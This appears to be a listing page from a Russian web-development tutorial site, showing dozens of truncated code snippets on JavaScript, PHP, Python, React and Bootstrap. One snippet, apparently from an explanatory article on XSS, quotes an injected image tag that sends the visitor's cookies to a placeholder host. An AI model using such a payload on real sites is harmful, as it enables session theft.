... происходит через метод object.assign, который принимает первым параметром target (цель), вторым параметром - исходный объект. при клонировании в фигурных ...
... гамбургер. внутри nav надо добавить строку под логотипом. <a href="#" data-target="mobile-demo" class="sidenav-trigger"><i class="material-icons">menu</i></a> добавление ...
...     # получаем текущую страницу из параметров запроса, по умолчанию страница 1     page = request.args.get('page', 1, type=int)     # устанавливаем количество элементов на одной странице ...
... import app from './components/app'; reactdom.render(     <app />,      document.getelementbyid('root') ); ./components/app.js import react from 'react'; ...
... каким-то причинам не установлен, можно сделать это с помощью команды: sudo apt-get install python3-tk простой пример модального окна давайте создадим простое ...
... пакетного менеджера вашей системы. например, для ubuntu это команда: sudo apt-get install openssl шаг 2: создание самоподписанного сертификата создайте ...
...         <app />     </browserrouter>,      document.getelementbyid('root') ) затем в компоненте app добавьте элемент switch. ...
...         curl_exec($ch);         $response = curl_getinfo($ch, curlinfo_http_code);         curl_close($ch);         return (!empty($response) && $response != 404); ...
...         // добавляем компонент на страницу         reactdom.render(<app />, document.getelementbyid('root'));     </script> </body> </html> ...
... компонент, установив плагин со сниппетами, больше не надо идти на сайт getbootstrap.com, открывать документацию и копировать оттуда код. вы можете нужный ...
... расширение для chrome) парсеры для социальных сетей церебро таргет huntertarget (есть бесплатный тариф) итоги парсинг сайтов может использоваться ...
... url = 'https://example.com/weather' # получение данных с сайта response = requests.get(url) soup = beautifulsoup(response.text, 'html.parser') # извлечение нужной информации ...
... // выбираем элемент по идентификатору var container = document.getelementbyid("container"); // находим дочерние элементы var children = container.children; ...
... # загрузка данных iris = datasets.load_iris() x = iris.data y = iris.target # разделение на обучающие и тестовые данные x_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.3, random_state=42) ...
...   <react.strictmode>     <app />   </react.strictmode>,   document.getelementbyid('root') ); ./src/components/app.js import react from 'react'; ...
...         // первый аргумент - url, второй - callback c параметром ответа сервера                  https.get(url, (res) => {             // получаем статус ответа сервера посредством деструктуризации объекта ...
...                 const ctx = canvas.getcontext('2d');                 // очищаем холст ...
...     el.addeventlistener('keyup', e => {       res.textcontent = transliter(e.target.value)     })        </script> </body> </html> ...
...     # получаем содержимое файла     response = requests.get(url)     # проверяем, успешно ли загружен файл ...
... import app from './components/app' reactdom.render(     <app />,     document.getelementbyid('app') ) файл index.html <!doctype html> <html lang="en"> ...
...                 const context = canvas.getcontext('2d');                 // вычисляем соотношение сторон исходного изображения ...
... пакета. для установки на ubuntu, вы можете воспользоваться командой: sudo apt-get install php-pcntl для других систем управления пакетами вы можете использовать ...
... html разметка <div>1</div> <div>2</div> <div>3</div> // js let div = document.getelementsbytagname('div');     console.log(div); цикл for..of без проблем ...
... вам различные варианты шрифтов. если вам что-то понравилось, нажимаете get font и попадаете на google fonts. colors & fonts https://www.colorsandfonts.com вдохновляющая ...
... глагол-существительное и используются для выполнения конкретных задач. например: get-process циклы: powershell поддерживает различные виды циклов, такие как for, ...
...     fetch(key) {         let data = localstorage.getitem(this.dbprefix + key);         if(data === null)             return false; ...
...     // читаем файл построчно     while ($line = fgets($file)) {         // разбираем строку лога ...
...     for (int y = 0; y < mybitmap.height; y++)     {         color pixelcolor = mybitmap.getpixel(x, y);         // изменение цвета пикселя ...
... строку запроса (query string), которую потом можно будет передать на сервер в виде get параметра. итак, для начала определим некоторые вспомогательные функции, ...
... // получаем элемент с id &#039;box&#039; const box = document.getelementbyid(&#039;box&#039;); // добавляем элемент видео в контейнер &#039;box&#039; ...
... полезно освоить некоторые элементарные терминальные команды (cd, grep, curl, get, tail, head, less, find, ssh, kill, vim, echo, nslookup, ping, telnet) - в интернете полно спавочников ...
... или любой другой браузер, который у вас установлен. import webbrowser webbrowser.get('c:/program file/путь/msedge.exe %s').open('https://myrusakov.ru/') открытие ...
...         const mychart = new chart(             document.getelementbyid('mychart'),             config         ); ...
...         // получаем текущую рабочую папку откуда запущена программа         var cwd = system.getproperty("user.dir");         var frame = new showimagejavaframe("показываем картинку"); ...
... выбрать голос, вы можете просмотреть доступные варианты: voices = engine.getproperty('voices') for index, voice in enumerate(voices):     print(f"голос {index}: {voice.name} ({voice.languages})") ...
... viewbox="0 0 250 100" xmlns:xlink="http://www.w3.org/1999/xlink">     <a xlink:href="http://domain.ru/" target="_blank">         <text class="text-link" x="25" y="60">svg текст-ссылка</text> ...
...             using var httpclient = new httpclient();             var response = httpclient.getbytearrayasync(url).result;             return response; ...
... наверх при клике. // получаем кнопку по id const scrolltopbtn = document.getelementbyid("scrolltopbtn"); // добавляем событие на прокрутку окна ...
... его нет и удаляет класс, если он есть. вот и вся магия. const toggle = document.getelementbyid('toggle'); toggle.onclick = function(){     toggle.classlist.toggle('active'); ...
... способ 6: хранение строк во внешних файлах string str = files.readalllines(paths.get("strings.txt")); таким образом, вот так в java можно создавать многострочные ...
... удаляет класс. если он есть. вот так работает переключатель. const acc = document.getelementsbyclassname("contentbx"); for (i = 0; i < acc.length; i++) {     acc[i].addeventlistener("click", ...
...             // 5 - это размер 1-ого пикселя кода             bitmap qrcodeimage = qrcode.getgraphic(5);             // вставляем изображение в виджет, подгоняя размер qr кода к размеру родительского элемента imagepicturebox ...
... const reader = new filereader(); reader.onload = function(event) {   console.log(event.target.result);  // выводит: привет, мир! }; reader.readastext(textblob); 3. работа ...
... получить все данные с листа, можно использовать следующий код: data = sheet.get_all_records() print(data) этот метод вернет все строки таблицы в виде списка словарей, ...
... ipsum dolor sit amet consectetur adipisicing elit.</p>         <a href="#">get the deal</a>       </div>     </div>   </div> ...
... # засыпание программы на 2 миллисекунды time.sleep(2) # открытие драйвером сайта  driver.get("https://myrusakov.ru/") time.sleep(1) # поиск элементов формы по описанию в html коде ...
... атрибутах. $reflectionclass = new reflectionclass(myclass::class); $attributes = $reflectionclass->getattributes(myattribute::class); foreach ($attributes as $attribute) {     $instance = $attribute->newinstance(); ...
...     // получаем активный лист     $sheet = $spreadsheet->getactivesheet();     // тестовые данные: номер ячейки - строка данных ...
...                    byte[] info = new utf8encoding(true).getbytes(text);                    // производим запись байтов в файл ...
... } item.foreach(link => {     link.addeventlistener('click', (e)=>{         indicator(e.target);     }) }) посмотрите пример на codepen
...   # полученных данных   wlist = []   sour_text = requests.get(url).text   # объект beautifulsoup, который будет   # пинговать запрошенный url-адрес для получения данных ...
...         function handleclick(e) {             alert(e.target.dataset.action)         }         const button = <floatingbutton title="добавить вопрос" onclick={handleclick} data-action="question:add"/> ...
... (последняя строчка кода). <script type="text/javascript">     let bg = document.getelementbyid("header")     window.addeventlistener("scroll", function(){         bg.style.opacity ...
... // возвращает копию списка с элементами из диапазона  list<string> afewnames = names.getrange(0, 2);  // вставляем новую строку в позицию 2 names.insert(2, "second and a half name");  ...
... 50%;/*появление окна сверху*/ <script> function popuptoggle(){     const popup = document.getelementbyid('popup');     popup.classlist.toggle('active') } </script> ...
... источника указывает другую картинку. function imgslider(anything){     document.getelementbyid("slider").src = anything; } добавим в html код к каждой ссылке событие onmouseenter. ...
... методы для обновления поведения дождя. function rain() {   var image = document.getelementbyid('background');   image.onload = function () {     var rainyday = new rainyday({ ...
... env.trim_blocks = true env.lstrip_blocks = true env.rstrip_blocks = true template = env.get_template('showsites.txt') result = template.render(coins=coins) print(result) далее создаем ...
... стирает поисковое слово, введенное пользователем. <span class="clear" onclick="document.getelementbyid('searchinput').value = ''"></span> .clear{     position: absolute; ...
... добавьте эти 2 строки кода: url='https://www.bbc.com/news' response = requests.get(url) шаг 3: получите конкретный html-тег чтобы найти html-теги, в ...
... file_loader = filesystemloader('templates') env = environment(loader=file_loader) template = env.get_template('about.html') out = template.render(content=content) print(out) в коде выше ...
... вас еще не установлен composer, вы можете скачать его с официального сайта getcomposer.org. откройте терминал и выполните следующую команду для установки ...
... import os print("creating {} folder". format(sys.argv[1])) path = os.path.join(os.getcwd(), sys.argv[1]) os.mkdir(path) print("created {} folder". format(sys.argv[1])) print("creating index.html, style.css, script.js") ...
...              // получаем список всех дисков             driveinfo[] drives = driveinfo.getdrives();             // в цикле проходимся по дискам ...
... /// это метод возвращает код состояния /// </summary> public statuscode getsensorstatus(); таким образом, вот такие виды комментариев существуют ...
...         // получаем поток с микрофона         const stream = await navigator.mediadevices.getusermedia({ audio: true, video: false });         // создаем объект, который будет отвечать за запись аудио ...
...     if request.method == 'post':         uploaded_files = request.files.getlist("file")         for uploaded_file in uploaded_files: ...
...   <button onclick="savepixelart()">сохранить</button>   <script> const canvas = document.getelementbyid('canvas'); let isdrawing = false; function createpixel() {   const pixel = document.createelement('div'); ...
... слайдера swiper к проекту 1) переходим на официальный сайт swiper 2) в разделе get started переходим по ссылочке и скачиваем два минифицированных файла swiper-bundle.min.css ...
... атрибутам. вывод фильтров на фронтенде переходим в виджеты «appearance / widgets» и перетаскиваем один и тот же доступный виджет «filter products by attribute: ...
... виджеты из боковой колонки. сделать это можно в разделе виджетов appearance / widgets или в кастомайзере темы. для магазина это лучший вариант, когда нет ...
...    */   function togglesection(sectionid) {     const section = document.getelementbyid(sectionid);     section.style.display = section.style.display === 'none' ? 'block' : 'none'; ...
...    function removepopupbytag(tagname) {      const popups = document.getelementsbytagname(tagname);      if (popups.length > 0) {        for (let i = 0; i < popups.length; i++) { ...
... описание кода: function showtagonhover(event) {   const hoveredelement = event.target;   const tagname = hoveredelement.tagname.tolowercase();   // создание информационного окна ...
... пример того, что должно получиться: /*!  * bootstrap v5.0.0-beta1 (https://getbootstrap.com/)  * copyright 2011-2020 the bootstrap authors  * copyright 2011-2020 twitter, inc. ...
... from flask import flask, render_template, request app = flask(__name__) @app.route('/', methods=['get', 'post']) def home():     user_name = "гость"     if request.method == 'post': ...
...             // получаем размеры окна рабочего стола             rectangle bounds = screen.getbounds(point.empty);             // создаем пустое изображения размером с экран устройства ...
...       try {         const response = await axios.get(           `https://api.openweathermap.org/data/2.5/weather?q=${this.city}&units=metric&appid=ваш_ключ` ...
... // устанавливаем порт приложения const port = process.env.port || 5000; app.get('/', async (req, res) => {   res.send({ message: 'привет' }) ...
...     // кодировка файла будет win-1251     queryresultdatagridview.writetocsvfile(';', "export.csv", encoding.getencoding(1251));     dialogresult dialogresult = messagebox.show(         "экспорт завершен! вы хотите открыть файл в редакторе?", ...
... print(link2) try:   # открываем ссылку в браузере   driver.get(link2)   # находим количество строк в таблице   rows = len(driver.find_elements(by=by.xpath, value = '/html/body/table/tbody/tr')) ...
... инструмента вы создаете графический интерфейс, перетаскивая объекты qwidget в пустую форму. после этого вы можете упорядочить их в единый графический ...
... среде visual studio, а после установить пакет fluentvalidation через менеджер пакетов nuget. теперь в файл программы program.cs добавим следующий исходный код: using system; ...
... сначала выберем элемент по идентификатору #countdown. let countdown = document.getelementbyid('countdown'); шаг 2 объявим функцию, отвечающую за обратный ...
... from bs4 import beautifulsoup def scrape_website(url):     response = requests.get(url)     soup = beautifulsoup(response.content, 'html.parser')     # пример извлечения заголовков новостей ...
... посетите официальный веб-сайт epic games по адресу https://www.epicgames.com. найдите ссылку "get epic games" (скачать epic games) и кликните по ней.вы будете перенаправлены на ...
... url = f'https://api.binance.com/api/v3/klines?symbol={symbol}&interval={interval}&starttime={start_time}&endtime={end_time}' response = requests.get(url) data = response.json() # преобразуйте данные в формат dataframe и сохраните их в csv-файл ...
...         self.sprite = sprite         self.radius = sprite.get_width() / 2         self.velocity = vector2(velocity)     def draw(self, surface): ...
...         // ... и помещаем значение в карту, увеличивая, при необходимости, значение счетчика         valuesmap.set(elem, valuesmap.has(elem) ? valuesmap.get(elem) + 1 :  1);     });     // сортируем полученный массив объектов "{'строка', число}" в порядке убывания частоты присутствия в исходном массиве ...
... # установка максимального размера окна browser.maximize_window() # открытие посиковика в браузере browser.get('https://images.google.com/') # находим поисковое окно box = browser.find_element(by.css_selector, 'input[class="glfyf"]') ...
...     $pdo->rollback();     echo "failed to update data: " . $e->getmessage(); } эти стратегии помогут вам надежно обновлять данные в базе данных ...
... webbie_url = r' https://myrusakov.ru/ '  for i in [firefox, chrome, safari]:      i.get(webbie_url)      # здесь  проверки bs4!!      # javascriptexecutor - для визуализации прокрутки  ...
... def wrap_position(position, surface):     x, y = position     w, h = surface.get_size()     return vector2(x % w, y % h) # используя оператор по модулю %, можно убедиться, что позиция никогда не покидает область заданной поверхности. в нашей игре такой поверхностью будет экран. ...
... получим наш контейнер по идентификатору и применим к нему метод parallax. let space = document.getelementbyid('space'); let parallaxinstance = new parallax(space);
...         # открываем страницу по адресу          self.driver.get("https://myrusakov.ru/register.html")         # установка размеров окна ...
...         }         const rootelement = document.getelementbyid('root');         // читаем вакансии из файла и отображаем в элементе root ...
...     private val _text = mutablelivedata<string>()     val text: livedata<string> get() = _text     init {         _text.value = "hello, world!" ...
...         "роберт кийосаки"     ] ]; document.getelementbyid("next-quote").addeventlistener("click", function() {          // выбираем случайную фразу из массива ...
... артефакты. решить эту проблему для ie просто. .logo {   background: none;   filter: progid:dximagetransform.microsoft.alphaimageloader(src="/path/to/logo.png",sizingmethod="scale"); } т.е. эту проблему нам ...
... xhttp.open("способ_отправки", "url"); непосредственно посылает на сервер запрос – метод send(). при get запросе тело запроса остается пустым. xhttp.send(); 3) сервер обрабатывает ...
... использовать разные методы генерации случайных чисел. windows – cryptgenrandom linux – php getrandom(2) others – /dev/urandom в случае ошибки или отсутствия данных функций, ...
... на нашем сайте. это можно сделать так:     $rss = file_get_contents('https://news.yandex.ru/science.rss');     $rss  = simplexml_load_string($rss); ...
... цифровой лупы: function zoom(event) {     let zoomer = event.currenttarget;     event.offsetx ? (offsetx = event.offsetx) : (offsetx = event.touches[0].pagex); ...
... #{$i}) ~ img {     left: (($i - 1) * $stepper) * -1;    }    // here we create a variable to get the math right for    // how we shift the image when moving vertically    $t: (($i - 1) * $grid-root) ...
...             // получаем запрошенный url             let url = new url(event.currenttarget.href);                          // запускаем роутер, предавая ему path ...
... пример. <?php   $week = new datetime('+1 week');   setcookie('user_id', '1', $week->gettimestamp(), '/', null, null, true); ?> в данном примере мы записываем уникальный ...
... сайте разработчика. у данной библиотеки есть также некоторые опции modaltarget - настройка вашей цели color - определить цвет заднего фона animatedin - переход, ...
...   }         // геттер для длины списка   get length() {     return this.elements.length;   }      // сеттер для длины ...
... скрипт, подключаете на страницу. пишете следующий код: var stickyelements = document.getelementsbyclassname('sticky'); for (var i = stickyelements.length - 1; i >= 0; i--) {   stickyfill.add(stickyelements[i]); ...
... // при вводе текста в поле ввода, оповещаем всех наблюдателей о событии input.addeventlistener('keyup', e => {   subject.notify(e.target.value); }); вот так можно использовать шаблон наблюдатель в javascript. ...
... видео. откройте консоль в браузере и пропишите следующее: var video = document.getelementbyid('bgvideo'); таким образом мы получим объект, у которого есть ...
... происходит после того, как произойдет что-то другое. простой пример: var button = document.getelementbyid('button'); button.onclick = function() {   alert('кто-то кликнул по кнопке'); ...
... и вставляет в код сообщения следующую ссылку:   <img src = "http://сайт.com/get.php?cookie=encodeuri(document.cookie)"> пользователю достаточно лишь открыть страницу, ...
...   padding: 0;   height: 0;   overflow: hidden;   transition: height 400ms ease; } .accordion-conent:target {   height: 150px;   padding: 20px;   overflow-y: scroll; } вот так просто мы можем ...
...     for(let element of elements) {         let value = localstorage.getitem(element.dataset.name);         if( !value ) return;         else element.innertext =  value.trim(); ...
... есть подробная документация, которую вы можете найти, кликнув по кнопке "getting started". скачайте необходимые скрипты и стили, подключите их. сделайте ...
... скрипт: <script src="path/to/shine.min.js"></script> инстциируйте shine.js var shine = new shine(document.getelementbyid('my-shine-object')); измените позицию света window.addeventlistener('mousemove', ...
... позиция подсказки пока элемент является целью: tip.position(document.queryselector('.target')); изменение типа подсказки и эффекта: tip.type('error').effect('fade'); ...
... пример "рукопожатия". инициализация рукопожатия от клиента выглядит так: get /chat http/1.1   host: server.example.com   upgrade: websocket   connection: upgrade   sec-websocket-key: ...
... var instance = $("#yourelement").data("vide"); // получить видео элемент заднего фона instance.getvideoobject(); // изменение размера заднего видео // это вызывается автоматически, ...
... направляющими как правило равняется 1170 пикселям. скачайте на сайте https://getbootstrap.com/ компилированный css и js для легкой интеграции в ваш проект. скопируйте ...
... папке libs. <?php   class bootstrap {    public function __construct() {     $url = $_get['url'];     $url = rtrim($url, '/');     $url = explode('/', $url); ...
... div.style.height = height;    div.style.width = width;    div.style.border = border;    document.getelementsbytagname ('body') [0] .appendchild (дела);    return div;   } следующий ...
... используем. <a href="#" id="link">вызвать уведомление</a> <script>   var link = document.getelementbyid("link");   link.addeventlistener('click', function(e) {    var nf;    e.preventdefault(); ...
... нужно вернуть литерал объекта, то его нужно обернуть в круглые скобки: let getobject = () => ({ brand: 'bmw' }); самовызывающаяся функция выглядит следующим ...
... "desktop-wide": 1440px ); @mixin mq($width, $type: min) {   @if map_has_key($breakpoints, $width) {    $width: map_get($breakpoints, $width);    @if $type == max {     $width: $width - 1px;    }    ...
... его очень просто. <a href="yandex.ru" id="link">кликни!</a> <script> var link = document.getelementbyid("link"); function myfunc(e) {   events.default(); // отменили стандартное поведение ...
...       <h2>easy file managament</h2>       <p>fusce ipsum augue, consectetur quis dignissim eget, malesuada vitae ipsum. learn more about.       </p>       <a ...
... классов bootstrap-а, следует присвоить каждой колонке. переходим на сайт https://getbootstrap.com/ в раздел grid. мы определили у блока div классы "col-lg-3" "col-md-6", где ...
... положили в переменную p, весь параграф с идентификатором text_change. p = document.getelementbyid('text_change'); для того, чтобы вывести что-нибудь (числа, строки) ...
... получение элемента (параграфа) с идентификатором out_num. let out_num = document.getelementbyid('out_num'); объявим вторую переменную p и присвоим ей значение ...
... <footer>    <div class="copy">    © 2017 шаблон <a href="" target="_blank">valli</a>    </div> </footer> css стили footer {    background: ...
...                 var block = document.getelementbyid('infinite-scroll');                 var counter = 1; ...
... получили элемент c id="box_out" и присвоили его переменной box_primer let box_primer = document.getelementbyid('box_out'); // запустили цикл for in   for (let x in box){ // внутри парного ...
... получит элемент (elem) с id greenbar (зеленая полоска). function move() {   var elem = document.getelementbyid("greenbar"); объявим переменную width, приравненную к числовому значению ...
...   // путь куда будет сохраняться архива   $dest = getcwd() . '/' . $archive['name'];   // пытаемся переместить загруженный архив из временной папки в нужную  ...
... кода дал подсказку, где прячутся нужные нам стили оформления - это файл widget.php. зайдем через админку, в редактор плагинов и заменим у цифер размер, ...
... import reactdom from 'react-dom'; import app from './components/app'; reactdom.render(<app />, document.getelementbyid("app")) в подпапке components содержатся непосредственно сами ...
...     // в случае ошибки просто возвращаем false     $hds = @get_headers($uri);          // проверка, если нет заголовков, т.е. такого сайта нет например ...
... наш любимый function.php вставляем вот такой код. wp_enqueue_style( 'font-awesome', get_template_directory_uri(). '/css/all.css', 'style' ); вывод иконок в меню wordpress ...
... формы, стала выглядеть так: return {  processform: function() {   getscores();   calculatepercentages();   createcharts();   showresults();  } }; просто читать, ...
... конечно, в очень упрощенном виде. я сразу приведу код, а дальше его поясню: app.get('/profile/:id', function(req, res) {   res.send('вы запросили профиль с идентификатором: ...
... пример смена фона у кнопки: <button id="button">try it</button> <script> document.getelementbyid("button").addeventlistener("click", function(){     this.style.backgroundcolor = "black"; }); ...
на прошлом уроке мы узнали, что такое utm-метки и настроили get-запросы меток в скрытых полях формы. на этом уроке вы узнаете, как получить данные ...
... спрятать. в противном случае сделать видимым. function barfunction() {   var x = document.getelementbyid("navlinks");   if (x.style.display === "block") {   x.style.display = "none";   } ...
... контроллеры. давайте напишем один из них – todocontroller.js: module.exports = function(app) {   app.get('/todo', function(req, res) {   });   app.post('/todo', function(req, res) {   }); ...
... рассмотрим все на полезном примере. немного изменим наш код в файле app.js: app.get('/contact', function(req, res) {   res.render('contact', {qs: req.query}); }) здесь мы ...
... (testobjone, "х", {value: 0, writeable: false});   testobjone.x = 3,14; // исключение. var testobjtwo = {get x () {return 0}};   testobjtwo.x = 3,14; // исключение. "eval" и "arguments" мы не можем ...
...     foreach ($ite as $file) {         $files[] = $ite->getsubpathname(); //получение имени файла     }     return $files; ...
... выполнения ajax-запросов, обычно используют, либо объект xmlhttprequest, либо метод $.get() из jquery, либо еще какую либо javascript библиотеку. но, известно, что прикладной ...
...   <p class="mb-0" id="tab-3">vestibulum suscipit urna ultrices velit dictum, vel laoreet lorem tincidunt. donec eget mi gravida est faucibus accumsan.</p> </div> </div> в html-коде мы прописали bootstrap ...
...     'chat_id' => '', // название канала     'text' => 'привет, бот!' ]; $resp = file_get_contents("https://api.telegram.org/bot{$botapitoken}/sendmessage?" . http_build_query($data) ); print $resp; ...
... неизвестным. что же тогда делать? давайте сразу рассмотрим пример: app.get('/profile/:name', function(req, res) {   var data = {age: 17, job: 'programmer', hobbies: ['programming', ...
...     this.name = name;     this.price = price;     this.tax = tax;    }    get price() {     console.log(`стоимость этого товара с налогом в \$${this.tax}% -\$${this.price ...
... id="dropzone">перетащите файлы сюда</div> <script>   (function() {    var dropzone = document.getelementbyid("dropzone");    dropzone.ondragover = function() {     this.classname = 'dropzone ...
... * item with round point * and one more item with round point you can connect with us by email: [email protected] do not forget to visit our website: [click here](http://test.com/) теперь вы получите большой заголовок, ...
... ноль");   }   return 1/$n; } try {   div(3);   div(0); } catch($e) {   echo "ошибка: " + $e->getmessage(); } finally {   echo "работа скрипта завершена"; } у нас есть функция, ...
... <head> и </head>):<script type="text/javascript">   function setbigimage(foto) {     document.getelementbyid("bigimg").src = foto.src;   } </script> код html (вставлять между тегами <body> ...
... займёмся javascript: <script type="text/javascript">   function send() {     var message = document.getelementbyid("message").value;     var name = "гость";     /* здесь блок отправки ...
... <div id="parent_popup">   <div id="popup">     <p style="cursor: pointer;" onclick="document.getelementbyid('parent_popup').style.display='none';">закрыть</p>     <p>текст в окне</p> ...
... простешийи sql-запрос. если пользователя нет, то вернуть false. */   $usertype = getusertype($login);   /* начинаем выводить контент в зависимости от типа пользователя ...
... переменную circle. но как нам вытащить оттуда только второй круг? let circle = document.getelementsbytagname('div');     console.log(circle); так и обращаемся к нему ...
... является то, что ссылки раскупают очень быстро, правда, по сниженным ценам. gogetlinks.net. эта биржа особенна тем, что она занимается только вечными ссылками. ...
... earn_second = earn_month / (30 * 24 * 3600);     cur_earn += earn_second * delay / 1000;     document.getelementbyid('earn').innerhtml = cur_earn.tofixed(5);   }   function updateearn() {     earn_month ...
... в директории, к которой вы хотите подключить данные блокировки): <limit get post>   order allow,deny   deny from 15.29.29.12   deny from 13.110.145.   deny from 21.173.   ...
... delay = 300; //задержка в миллисекундах   function textrotator(i) {     var p = document.getelementbyid("textrotator");     p.innerhtml = array[i];     i++;     if (i == ...
... должны сначала откуда-то взять, например, из базы данных   $user_panel = file_get_contents("user_panel.tpl");   $user_panel = str_replace("{username}", $username, $user_panel);   echo $user_panel; ...
... компилятора typescript в консоли {   "compileroptions": {     "target": "es5",                          ...
... число, месяц и год рождения. выходные параметры: возраст. <?php   function getage($y, $m, $d) {     if($m > date('m') || $m == date('m') && $d > date('d'))       ...
... кнопку. получить поисковый запрос (как правило, передаваемый методом get, но иногда применяют и post), а также, в целях защиты от xss, пропустить его ...
... type="text/javascript">   function hotkey(event) {     var id = event.keycode;     document.getelementbyid("key").innerhtml = id;   } </script> и html-код: <body onkeyup="hotkey(event)">   ...
... статье. скачать свежую версию filezilla можно по следующему адресу: http://filezilla.ru/get/. выберите filezilla client для вашей ос, скачайте и установите его. теперь ...
... и </head>):<script type="text/javascript">   function animatetext(id, text, i) {     document.getelementbyid(id).innerhtml = text.substring(0, i);     i++;     if (i > text.length) i = 0;     ...
... 2000; //задержка в миллисекундах   function imagerotator(i) {     var image = document.getelementbyid("rotator");     image.src = array[i];     i++;     if (i == array.length) ...
... style='font-size: "+ size +"pt'>" +text.substring(i, i + 1)+ "</span>";     }     document.getelementbyid("wave").innerhtml = out;   }   function dowave(text, n) {     sizecycle(text, 1, n); ...
... ввода по его идентификатору и поместим в переменную input. let input = document.getelementbyid('input'); повесим на инпут обработчик событие addeventlistener, который ...
... $russian_text = iconv("cp1251", "utf-8", "сайт myrusakov.ru");   //рисуем текст ttf-шрифтом   imagettftext($i, 16, 94, 150, 200, $color, "times.ttf", $russian_text);   //отправляем заголовок с mime-type ...
... очень просто: вы создаёте php-файл, в котором с помощью curl отсылаете post- и get-запросы. соответственно, получаете результат и сравниваете его с тем, ...
... между тегами <head> и </head>):<script language="javascript">function expandit(id){  obj = document.getelementbyid(id);  if (obj.style.display=="none") obj.style.display="";  else obj.style.display="none";}</script>код ...
... реализовывал задачу поиска по сайту. и мне нужно было сформировать из get-запроса, полученного из формы, запрос к базе данных, чтобы извлечь оттуда ...
... позаимствуем уже готовый код симпатичной формы в разделе components/forms на сайте https://getbootstrap.com. обратите внимание, где именно в html-коде подключены cdn для bootstrap, ...
... по названию класса accordion. вторая переменная с названием i. var acc = document.getelementsbyclassname("accordion"); var i; в цикле for, мы перебираем весь массив элементов ...
... $user->childnodes; // получаем дочерние элементы у узла "user"     $id = $user->getattribute("id"); // получаем значение атрибута "id" у узла "user"     $login = $lp->item(0)->nodevalue; ...
... платёжной системе (либо платёжного агрегатора). приняв данные (либо post, либо get), вы их анализируете, сверяя контрольную сумму с той, что должна быть. ...
... цвет   imagefilledrectangle($image, 0, 0, 399, 99, $white); // делаем капчу с белым фоном   imagettftext ($image, 30, 0, 10, 40, $color, $dir."verdana.ttf", "$number_1 + $number_2"); // пишем текст   header("content-type: ...
... php. скрипт мониторинга сам по себе очень и очень простой: <?php   if (@get_headers("http://mail.ru")) echo "сайт доступен";   else echo "сайт не доступен"; ?> но ...
... только лишь css: html код: <img class="grayscale-image" src="https://avatars.mds.yandex.net/get-pdb/2001933/86554d64-6d18-4c6a-b2c8-2587c956774a/orig" /> код css: /* * у изображения с данным стилем цвет черно-белый  ...
... адрес сервера, куда отправятся данные type - метод запроса. по-умолчанию get datatype - тип данных, которые мы планируем получить от сервера. может быть: ...
... like.php, который и занимается увеличением числа лайков: <?php   $text = file_get_contents("likes.ini"); // получаем содержимое файла   $likes = explode("\n", $text); // разбиваем ...
... дальше пишем скрипт вывода новостей на php: <div id="news"> <?php   $news = file_get_contents("news.txt");   $news = explode("\n", $news);   for ($i = 0; $i < count($news); $i++) {     ...
... файла (filename отвечает за имя файла, который увидит пользователь)   echo file_get_contents($file); // отдаём файл браузеру ?> код тщательно прокомментирован, ...
... пользователя на javascript. сразу привожу код: <script type="text/javascript">   navigator.geolocation.getcurrentposition(showposition); // запрашиваем местоположение, и в случае успеха вызываем ...
... ip-адрес     $text = "";     while (!feof($sock)) {       $text .= fgets($sock, 256)."<br />"; // читаем ответ от сервера     }     fclose($sock); ...
... записать его в строковую переменную. наиболее простой вариант - это функция file_get_contents(). если контент доступен только авторизованным пользователям, то ...
... /* в этот блок мы попадаем, если было выброшено исключение */   echo $e->getmessage(); // можно вместо этого добавить if и вывести более понятную надпись, ...
... автоматическую смену блоков   $("#switch img").bind("click", function(event) {     setcourse($(event.target).attr("data-number")); // при клике по переключателю выводим соответствующий блок ...
... может выглядеть: <?php   require_once "model.php"; // подключаем модель   $comments = getcomments(); // некая функция в модели, возврающая двумерный массив с комментариями ...
... авторизован. key - секретный ключ, который будет находиться в ссылке в виде get-параметра. r - адрес страницы, куда будет совершён переход после авторизации. ...
... отслеживания лайков вконтакте: <script type="text/javascript">   vk.observer.subscribe('widgets.like.liked', function(param) {     alert("был нажат лайк");   }); </script> для ...
...     // получаем ссылку на тег head документа     let head   = document.getelementsbytagname('head')[0];     // устанавливаем тип и uri ...
...       /* перебираем все полученные файлы */       $str = strip_tags(file_get_contents($files[$i])); // помещаем содержимое файлов в переменную, предварительно ...
... "http://www.cbr.ru/scripts/xml_daily.asp?date_req=$date"; // ссылка на xml-файл с курсами валют   $content = file_get_contents($link); // скачиваем содержимое страницы   $dom = new domdocument("1.0", "cp1251"); ...
... быть обработка различных форм, относящихся к комментариям */   $comments = getcomments(); // некая функция в модели, возврающая двумерный массив с комментариями ...
...     echo $files[$i]."<br />"; // выводим все полученные файлы   }   ftp_get($ftp, "local.xml", "new_doc.xml", ftp_binary);   ftp_close($ftp); ?> код хорошо прокомментирован, ...
...       if (browser.indexof("firefox") != -1) ff = 1;     }   }   var block = document.getelementbyid("block");   delta_x = 0;   delta_y = 0;   /* ставим обработчики событий ...
... "http://mysite.ru/dir/" его автоматически перенаправит на "http://mysite.ru/dir". разумеется, все get-параметры сохранятся. например, если пользователь вводил: "http://mysite.ru/dir/?a=5&b=7", ...
... . "';"); // указываем имя при сохранении в браузере       echo file_get_contents($filename); // отдаём файл пользователю на скачивание     }     ...
... параметры";       return false;     }     list($w_i, $h_i, $type) = getimagesize($image); // получаем размеры и тип изображения (число)     $types ...
... параметры";       return false;     }     list($w_i, $h_i, $type) = getimagesize($image); // получаем размеры и тип изображения (число)     $types ...
... этот тривиальный php-код: <?php   $link = "http://myrusakov.ru/images/site.jpg";   $file = file_get_contents($link);   file_put_contents("site.jpg", $file); ?> вот такой тривиальный скрипт, ...
... виде: http://mysite.ru/?ref=abc, либо http://mysite.ru/page.php?n=5&ref=abc. то есть главное, чтобы был get-параметр ref, а значение этого параметра - логин пользователя, который ...
эта статья является продолжением предыдущей статьи, которая находится здесь. существует несколько популярных конкурирующих форматов ...
перед web-разработчиками часто возникают задачи, в которых они должны работать с датой и временем. если вы все еще используете php функции, такие ...
использовать или нет на сайте прелоадер - вопрос индивидуальный. например для одностраничника, с минимальным количеством графики и изображений, ...
уже трудно себе представить современный сайт без иконок соц. сетей и мы их видим на большинстве сайтах. откуда же берутся эти иконки? насчет ...
сегодня мы познакомимся с адаптивным слайдером на jquery - bxslider, который будет хорошо отображаться на любом устройстве. этот слайдер подходит для ...
в прошлой статье мы говорили о цепочке вызовов методов объекта javascript promise для последовательного преобразования результата асинхронной операции ...
